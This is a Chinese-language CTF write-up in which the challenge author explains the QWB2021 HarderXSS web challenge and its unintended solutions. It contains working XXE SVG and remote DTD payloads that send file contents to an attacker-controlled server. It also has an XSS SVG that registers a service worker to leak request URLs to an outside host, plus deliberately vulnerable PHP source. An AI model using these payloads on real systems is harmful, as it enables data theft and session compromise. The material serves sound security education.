[QWB2021] HarderXSS 出题心得暨非官方WP
前言
第一次出题,出现了很多疏漏,最严重的一个就是用了chrome86导致可以RCE非预期。。。关于这个呢,是这样的(听我解释QAQ):本来出题的时候用的89,但是最后封装docker的时候Ubuntu18.04源内的chromium91的headless模式不能正常工作,因为已经过了截止日期(我太难了)就慌慌张张地撸了个能用的好不容易调通了就交了,完全没记起来前段时间微信因为chrome86爆的那档子事。。。后文 的题解不讨论chrome86的RCE解法(出题人没有调过这个洞,TCL不会)
其他的我已知一些疏漏会在题解中,一一指出,感谢赛后和我交流和反馈的各位师傅,膜拜了。这次出题经历让我学习了很多,一边顶着期末和各种实践作业的压力爆肝了一周,每天到凌晨2点,然后第二天还是一整天满课,一边自己打自己,前前后后patch了50多个版本,堵了若干个非预期(然而并没有什么卵用,惨惨)。
如果各位师傅发现还有什么疏漏我没有发现,亦或是有什么意见和建议,有什么有趣的发现,都欢迎给我留言,我会一个个看的。我会认真听取师傅们的意见和建议,虚心接受师傅们的批评指正,在未来出题(如果有还机会的话)时,尽力避免。
如果因为非预期或者一些bug给师傅带来了不好的体验,我在这里说一声对不起,真的很抱歉。另外,我也将题目上传到了github上,想要再试试的师傅可以戳:https://github.com/crystalrays/qwb2021-harderxss
废话有点多了,下面进入题解正文部分了:
题解
sql注入登录
配置本地hosts解析
域名不对,cookie没法生效,无法登录
如果题目服务器是ip直连的,直接改host即可,比如:
192.168.37.150 feedback.cubestone.com
192.168.37.150 flaaaaaaaag.cubestone.com #这一条有点用,但又没什么用
如果题目服务器经过了NAT、CDN、反代、内网映射等,需要配一个反向代理,然后hosts解析到反代服务器上去,最后访问的时候带上Host:feedback.cubestone.com
的HTTP请求头即可,比如搞个本地反代:
还有以下两种方法可以绕过cookie的domain限制
- burpsuite改包把domain改了
- js里手动设上cookie(如果加了http-only就不行了)
其实这里不是我的考点,只是因为 为了实现跨子域登录状态同步而设置的domain=*.cubestone.com,结果自己测试的时候发现映射出来后因为域名不匹配会登陆不上。。。不过因为能够绕过所以就这样了,没有想到可以js直接改cookie绕过也算是我的一个疏漏吧
XXE远程包含访问内网
登录后跳到/admin/
,根据提示f12看到内网管理中心链接:
访问发现403,访问不了
说明一下,这里要能直接访问flaaaaaaaag遇到403需要按照2.2节配置反代,并且在反代和hosts中都配置flaaaaaaaag的解析。当然,访问不到flaaaaaaaag并不会影响做题。
点用户名进入个人中心,可以上传头像,根据提示,支持svg,并且支持外部引用,考虑xxe。
编写xxe.svg如下
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "https://xxx/dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg">
</svg>
自己服务器上放置外部引用dtd文件,先尝试获取upload.php,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=upload.php">
<!ENTITY % start "<!ENTITY % send SYSTEM 'https://xxx?%file;'>" >
获取到upload.php内容如下:
<?php
session_start();
// ini_set("display_errors","off");
// error_reporting(0);
if(!array_key_exists("login",$_SESSION)){
die("login first");
}
else if($_SESSION["login"]===0){
die("login first");
}
$encode=$_POST["data"];
if(substr($encode,0,5)!="data:"){
die("You!Hacker!");
}
$decode=file_get_contents($encode);
// var_dump($decode);
if(!(substr($decode,0,2)==="\xFF\xD8" or substr($decode,0,2)==="BM" or substr($decode,0,2)=="\x89\x50" or substr($decode,0,2)==="GI")){
// libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$res=$dom->loadXML($decode,LIBXML_DTDLOAD);
if(!$res)
die("Not Image!");
$decode1=$dom->saveXML();
// highlight_string($deocde1);
//防止本地文件读取
if(preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/fd|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|bzip2:|zip:|ftps:/i",$decode1,$matches))
die("unsupport protocol: ".$matches[0]);
if(preg_match("/\/var|\/etc|\.\.|\/proc/i",$decode1,$matches)){
die("Illegal URI: ".$matches[0]);
}
$res=$dom->loadXML($decode,LIBXML_NOENT);
if(!$res)
die("Not Image!");
$decode=$dom->saveXML();
// highlight_string($decode);
//防止xss
if(preg_match("/script|object|embed|on\w+\s*=/i",$decode))
die("no script!");
// $encode="data:image/svg+xml;base64,".base64_encode($decode);
}
$filename=md5(rand());
file_put_contents("../upload/".$filename,$decode);
$filename='/upload/'.$filename;
$con=new mysqli("localhost","ctf","123456","ctf");
$res=$con->query("select img from avatar where userid=$_SESSION[login]");
if($res){
if($res->fetch_row()){
// echo "update avatar set img='$filename' where userid=$_SESSION[login]";
$res=$con->query("update avatar set img='$filename' where userid=$_SESSION[login]");
if($res!==TRUE){
// echo $con->error;
$con->close();
}
die("update success");
}
}
$res=$con->query("insert into avatar values($_SESSION[login],'$filename')");
$con->commit();
die("upload success");
对于上传的图像文件,对于png、jpg、bmp、gif直接读文件头识别出来后转存,对于其他文件头的按svg进行解析,解析失败的认为不是有效的图像文件返回not image。
我上面说“外部引用很危险,但是我解决了这个问题”,其实指的就是对xml进行了两次(不是两步)解析,第一次解析的时候loadxml(LIBXML_DTDLOAD)
,没有LIBXML_DTDVAILD不会从参数实体file读取内容(%file 不会被读入,如下图所示),能够防止被本地文件被读取,也能防止js被外部引入。
对第一次解析后的xml进行过滤,过滤掉除php://filter和http(s)之再的所有协议,也会过滤掉/dev、/proc、/var、..
防止phpfilter本地文件包含,然后过滤掉script、object、embed和load\s*=
防止xss。最后再用LOADXML(LIBXML_NOENT)对原文进行完整解析。
上述过滤本来是想要选手一点点测出来的,但是题目上线后发现我没有ban掉直接读取upload.php,所以选手可以拿到源码,不过本来就打算如果大家都做不出来的话就把upload.php作为附件放出来的,所以就这样吧。
如果有选手自己服务器遇到dtd请求能收到,但是数据带不出来,估计你是在第一次loadxml完后被ban了。外带数据的如果是参数实体,要注意你服务器返回的得是合法的xml或者空白。
修改dtd中% file
的链接为https://flaaaaaaaag.cubestone.com/?secret=demo
,上传xxe.svg,查看自己服务器收到访问请求,参数部分base64解码为
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=demo`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script>
修改dtd中% file
的链接为https://flaaaaaaaag.cubestone.com/loader.php?callback=pageload&secret=demo
读取loader.php页面为
pageload('Control center access require a vaild secret key. You entered a invaild secret!')
要想办法获取secret key
这一节的xxe可以不用绕过第二个not image,不过我其实是希望能都绕过的,因为就算你读不到源码,根据我返回的alert信息,编写合法的xml就能绕过的。
甚至有大佬结合xss不用blind xss直接让svg把数据带到html里了。
天枢没有用chome的1day也实现了任意文件读取!!!完美绕过了我设计的二次解析(太强了,我太难了,学习了)
其实我应该在第二次解析后也进行一次过滤的,并且直接把一些不需要www-data访问的文件的读取权限给去掉,下次要注意了。
这里又有个疏漏,Apache2的Server-status默认是开启的。。。于是可以修改dtd中
% file
的链接为php://filter/read=zlib.deflate/convert.base64-encode/resource=http://127.0.0.1/server-status
,读取到server-status页面内容如下:好在链接比较长,比赛的时候这种方法拿到的flag只有一半,没能被成功非预期2333
P.S. 由于server-status内容很长,直接base64后就往外面带会报“检测到实体引用循环”(an entity reference loop,这个报错着实诡异,报错信息和实际不符),因此需要zlib压缩一下,读取index.php也是一样。
xss获取secret key
根据提示管理员一直处于登录状态,并在收到反馈后会访问管理中心,尝试xss获取管理员访问管理中心使用的secret key
以下思路类似西湖论剑2020的hardxss,通过xml的xss实现跨域注册我们的service worker
编写xss.svg如下:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/foo.jpg"
onerror="var iframe = window.parent.document.createElement('iframe');iframe.src = 'https://flaaaaaaaag.cubestone.com';window.parent.document.body.appendChild(iframe);iframe.setAttribute('onload',`window.parent.document.domain='cubestone.com';doc=this.contentDocument;var src=doc.createElement('img');src.setAttribute('onload','navigator.serviceWorker.register(\\'https://flaaaaaaaag.cubestone.com/loader.php?callback=self.addEventListener(%27fetch%27,%20function(event)%20{%20fetch(\\\`https://xxx?\${btoa(event.request.url)}\\\`);%20})//&secret=demo\\')');doc.body.append(src);src.src='https://www.baidu.com/img/flexible/logo/pc/result@2.png';`);">
</image>
</svg>
为什么要在iframe里改父网页document.domain,是因为向西湖论剑那样在XSS脚本里一上来就改是不行的,添加iframe前会报错阻止了跨域访问
,添加iframe后改会报错父页面的domain要和iframe里保持一致
,因为这里脚本跑在svg里而不是父页面里。
不过有趣的是我看到了好多大佬和我不一样的做法,都十分有意思,学习了:
有的使用xslt将xml转换为xhtml页面,使浏览器访问svg时直接解析成html页面,然后就可以和西湖论剑里一样写XSS脚本了
有的在foo里套了个foreignObject,利用foreignObject里允许使用来自外界的元素,比如主页面的各种html元素,于是就可以在里面套一个iframe,之后也就和西湖论剑的XSS一样了。
上传xss.svg后在提交反馈页面提交xss链接如下:
验证码php爆破一下就行
for($i=1;$i<=999999;$i++){if(substr(md5("$i"),0,5)==="aae25"){echo $i."\n";};echo $i."\r";}
查看自己服务器访问日志得到secret,即flag
最后,server-status也可以通过xss访问,不过同样只能拿到一半flag!
太辛苦了555